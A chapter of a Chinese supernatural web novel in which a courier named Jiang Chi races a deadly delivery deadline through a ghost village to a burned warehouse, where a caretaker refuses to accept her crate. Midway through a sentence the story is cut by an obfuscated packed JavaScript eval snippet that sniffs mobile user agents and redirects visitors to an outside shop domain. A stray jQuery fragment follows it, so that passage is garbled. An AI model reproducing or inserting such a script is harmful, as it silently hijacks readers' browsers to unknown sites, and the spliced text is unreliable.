车吼着冲到跟前,离那排人不到十米。
姜迟没有踩刹车。
她的想法很简单。
这些是人也好,不是人也好,站在路中间拦车,撞就是了。
她不相信什么东西能正面撞飞一吨半的货车。
车头扎进人群的那一瞬间,她看清了。
那些人没躲。中年男人站在最前面,脸上没有一点怕的意思,甚至往前迎了一步。
然后车穿了过去。
像穿过一层凉雾。方向盘上没有撞击感,没有颠簸,人影贴着车身两边散开,又在她身后合拢。
她从后视镜里看见,那排人完好无损,全都转过身,继续站在那,看着她。
中年男人又举起那个本子,挥了挥。
"闺女,卸货区搬村里来了。"
姜迟的手心全是汗。撞不上,压不着,这车对这些影子没用。
她的眼睛扫过村口。路牌底下,进村的主道被人影堵死了,左边是村口的水塘,右边是一条窄巷,勉强能过车。
导航的红色路线直直穿过村子,穿过那些人,指向村子深处。
她打了一把方向,车头扎进窄巷。
窄巷两边是高墙,车两侧离墙不到半尺,后视镜擦着墙皮过去。巷子深处黑着,没有灯,她全靠车灯往前拱。
后视镜里,那排人影动了。
他们没有追进巷子,而是沿着巷子两边的外墙,跟着车走。她能看见墙头上的人影,一个跟着一个,不快不慢,始终跟她平行。
手机在口袋里震动。
她单手掏出来看了一眼。
【订单剩余时间:二十八分钟。】
【提示:当前路线预计用时:三十一分钟。】
姜迟的心沉了下去。
绕路了。主道被堵,她拐了窄巷,导航重新算了一遍,差三分钟。三分钟,超时抹杀。
她踩油门,巷子里速度快不起来,墙上的人影贴得更近了,近到她能看见那些没有五官的脸上,嘴的位置在动,一张一合,像在齐声说什么。
没有声音。她在车里听不见。
窄巷尽头是一个岔口。导航显示左拐,左拐后直行,出村,再绕一段机耕道,就能回到红路线上。
她左拐,车头摆正。
前方有人。
一个老太太,坐在路中间的小马扎上,背对着她,面前摆着一个小炉子,炉子上坐着一把水壶,水汽呼呼地冒。
这条路只有两米宽,老太太往中间一坐,车根本过不去。
姜迟按喇叭。
这次喇叭响了,一声,很哑。墙头上那些人影齐刷刷停住。
老太太没回头。
姜迟又按了一声:"大娘,让让路。"
老太太还是不回头。她拿着一把蒲扇,扇着火,水壶的水开了,她提起水壶,往地上的一个大搪瓷缸子里倒水。
姜迟下车,走过去。
"大娘,我赶时间,您让一下。"
老太太倒完水,把缸子递过来,这才抬头看她。
"喝了水就走。"老太太说,"急什么。"
"我超时就死了。"
"死不了。"老太太说,"喝口水死不了。"
姜迟盯着那只搪瓷缸子。
缸子很旧,搪瓷掉了大半,露出黑铁皮。水面上漂着几片茶叶,热气腾腾。
她想起服务区那杯水,想起白荷,想起老头。
这条路上的东西给她吃的喝的,给一次,拿一次,没有白给的。
"我不渴。"她说。
"不渴也得喝。"老太太把缸子又往前递了递,"这是规矩。进村一口水,出村一口饭。你绕了我的道,喝我一口水,两清。"
"我不进村。"姜迟说,"我借道。"
"借道也是道。"老太太说,"你刚才那一脚油门,压了我家门口的路钱。喝了水,路钱勾销。不喝,你今天就停在这,哪也去不了。"
姜迟回头看了一眼车。墙头上的人影已经不动了,全都伏在墙头,看着她,等结果。
她接过缸子,喝了一口。
水是温的,茶叶很苦,喝下去之后,喉咙里反而返上来一股甜。
"行了。"她把缸子还回去,"路钱两清,您让让。"
老太太接过缸子,端着马扎往旁边挪了挪,挪到墙根底下。
"后生,"她忽然说,"你车上拉的,是个囫囵东西。别让人拆了它。"
姜迟脚步一顿:"您知道箱子里是什么?"
"不知道。"老太太说,"我只知道,拆过它的都死了。上一个拉它的,死在村东头的仓里。"
姜迟不再问了,上车,关门,继续往前开。
老太太的声音从后面飘过来:"出了这条巷,别信路牌。"
巷口到了。
前方豁然开朗,村道汇进了一条宽路,宽路的右边立着一块新路牌,白底黑字:七号仓,直行三百米。
红路线的箭头,正指着路牌指的方向。
导航提示:"沿当前路线行驶三百米,到达收货地。"
三百米。时间还剩二十一分钟。够了。
姜迟却没有动。
她想起老太太那句话,别信路牌。
想起白荷说的,面单会骗人,导航会骗人。
想起备注栏写的,查验即验收,验收即收货,收货的不是你。
收货地青岭村七号仓。白荷说过,七号仓十年前就烧了,烧死了一仓的人。
她盯着那块崭新的路牌。漆很亮,字很白,立在路边,底座的水泥都还是新的。
哪有一点废弃十年的样子。
可红路线就指着那。
姜迟把车靠边停住,掏出手机看订单界面。备注栏安安静静,请准时送达,四个字,没有新字浮出来。
她等了几秒,备注栏没动静。
"你倒是说句话。"她说。
屏幕不理她。
时间还剩十九分钟。走主路牌方向,三百米,五分钟能到,顺利的话还能提前。
可这一路走来她学乖了,越顺的路,埋的钩子越深。
她想起硬币。
摸出硬币,放在方向盘上。
硬币凉凉的,没有发烫,那圈花纹暗着,不转,不亮。
"走那边是对的?"
硬币不动。
"这边是错的?"
硬币还是不动。
姜迟把硬币收回来,忽然明白了。硬币不烫,不指路,意思就是这地方没有需要它救的急。
路牌这个坑,是留给她自己看的,看得懂就绕,看不懂就踩。
她抬起头,重新看路。
宽路直行,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947434|214093||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
通村东。左边有一条更窄的土路,路边杂草长得老高,车轮印几乎没有,像很多年没人走过。
导航拼命提示:"请掉头,回到规划路线。"
姜迟打了把方向,车头扎进土路。
导航的声音变了,机械女声第一次有了起伏,急了:"偏离路线。请掉头。偏离路线。请掉头。"
"闭嘴。"姜迟说。
土路很颠,车开进去,两旁的杂草刷着车门。开了大概两百米,前方豁然开朗,一片烧塌的黑地出现在车灯里。
塌墙,焦木,烧成炭的梁。这就是七号仓的遗址,面积有一个篮球场大,废墟正中立着半截砖墙,墙上挂着一块烧变形的铁牌,牌上还能认出几个字:青岭七号仓。
姜迟把车停在废墟边上。
手机震动。
【已到达真实收货地。请卸货,等待收货人。】
真实收货地。她猜对了。
她下车,走到车尾,开锁,放下尾板。
木箱还在车厢里,一起一伏,呼吸声比来时粗重了些,箱板上的黄纸边角翘了起来。
她爬上车厢,刚要去推箱子,动作停住了。
废墟里有人。
砖墙后头走出来一个人影,走得很慢。
车灯照过去,那人抬起手挡了挡光,继续走,一直走到她车尾两米开外,站定。
是个老头,七十岁上下,穿着一身洗得发白的中山装,手里拄着根扁担。
"货到几天了?"老头问。
"今晚刚发的。"姜迟说,"您是收货人?"
"我是看仓的。"老头说,"仓烧了,收货的牌没烧。我替上头看着这块地。"
"那签收?"
"不签。"老头说,"这单我不收。"
姜迟愣了:"您不收,我订单完不成,超时要死人的。"
"你打开箱子,把里头的东西给我看,我验明了,就签。"老头说,"不然这单,你走哪都交不掉。"
又是验货。
姜迟从车厢上跳下来,站在老头对面:"规则二,货物不可查看,偷看者死。您要是真收货人,就该知道这规矩。"
"我知道。"老头说,"所以这单我收不了。等能开这个箱的人来吧。"
"那我能等吗?我的时间不够了。"
"你的时间够。"老头抬起扁担,指了指她的车,"你看看你的表。"
姜迟回头看仪表盘。
里程表。
她发车的时候,里程表清清楚楚记着出发的数。现在,那个数字变了,在她的注视下,最后一位跳了一下,往上走了一格。
她盯着看。车停着没动,里程表自己往上跳。一格,停几秒,又一格。
老头说:"你进村之前,欠这路一公里。你喝了那口水,水钱勾了,路钱没勾。这路记仇,它让你多走一公里。你的订单时间,也跟着这一公里走。"
姜迟抬头看订单倒计时。
十九分钟,变成二十分钟,二十一分钟,还在往上涨。
"多出来的一公里,"老头说,"你走完了,时间才往下走。你要是原地待着,你的时间,就永远是满的。"
"那我要等到什么时候?"
"等那个能开箱的人来。"老头把扁担往地上一杵,"或者,你问问自己,你真想把它交出去吗?"